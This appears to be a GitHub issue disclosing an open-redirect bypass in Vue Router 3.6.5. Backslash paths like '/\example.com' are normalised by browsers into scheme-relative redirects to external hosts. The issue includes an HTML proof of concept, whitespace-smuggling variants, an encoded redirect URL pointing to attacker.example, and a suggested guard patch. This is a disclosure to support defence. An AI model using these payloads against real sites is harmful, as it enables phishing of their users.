Skip to content

Redirecting to external hosts possible with backslash character (browser-side open redirect) #3946

@ukusormus

Description

@ukusormus

Tested on latest versions (both EOL): Vue 2.7.16, Vue router 3.6.5.

Overview

When user input flows into router.push(userInput), router.replace(userInput) or <router-link to="userInput">, it is possible to cause a browser-side redirect to an external host like attacker.example.com.

Prerequisites (Vue router config):

This is possible thanks to (1) browsers normalizing backslashes to forward slashes and (2) scheme-relative URLs:

  1. /\example.com is normalized to //example.com.
  2. //example.com is resolved to http://example.com or https://example.com, depending on the scheme of the initial origin.

The issue can be considered a bypass of the following bug fixes (taken from CHANGELOG.md):

Proof of concept

Proof of concept (live link):

<!DOCTYPE html>
<head>
<script src="https://unpkg.com/vue@2.7.16/dist/vue.js" integrity="sha384-smVS78N63G0uFpVH9bKdb+2YIW7Q9eFrle79imo+AWW6YLluQxAEK7kxLOt1bNex" crossorigin="anonymous"></script>
<script src="https://unpkg.com/vue-router@3.6.5/dist/vue-router.js" integrity="sha384-IkMvPbEBTaZXtDP8XKR0vzQv6h12mn1Tsm0YRzlJ5yZQtQ0b0fI2upc3EB5erSWp" crossorigin="anonymous"></script>
</head>

<body>
<div id="app">
  <p>
    <router-link to="/\example.com">Case 1: &lt;router-link to="/\example.com"&gt;</router-link>
  </p>
  <p>
    <a href="?redirect=/\example.com">Case 2: router.push("/\example.com")</a>
  </p>
</div>

<script>
const router = new VueRouter({
  mode: "history",
  // base: "/"  // or: ""
});

/*
// Patch (use at own risk)
router.beforeEach((to, from, next) => {
  try {
    const url = new URL(to.path, window.origin);
    if (url.origin !== window.origin) {
      throw new Error(`Navigation to '${to.path}' blocked: scheme-relative redirect to external origin detected (https://github.com/vuejs/vue-router/issues/3946)`);
    }
    next();
  } catch (err) {
    next(err);
    // next(false);  // For Vue router version < 2.4.0
  }
});
*/

const app = new Vue({ router }).$mount("#app");

const redirect = new URLSearchParams(location.search).get("redirect");
if (redirect) {
  router.push(redirect);
}
</script>
</body>

Note: extra browser (whitespace) normalization shenanigans apply, like <router-link to="/&#x0a;\example.com"> or router.push("/\t\t\\example.com").

Impact

From none to some, depending on the threat model. May allow for easier phishing, when https://target.example/register?redirect=/%5C%61%74%74%61%63%6b%65%72.%65%78%61%6d%70%6c%65 would unexpectedly redirect to https://attacker.example.

Mitigation

See PoC for example patch (commented out). Comes with no guarantees, use at own risk! (and suggest better methods or report bugs under the comments if any found).

The problem with this kind of patching is that the router does its own URL parsing, decoding, taking different code paths based on available browser features etc., meaning it's a non-trivial state machine. Ripe for parser differentials and check vs. use bugs (there are steps and transformations between what we control and what the router does with the input, passing it to the final sinks that change location).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions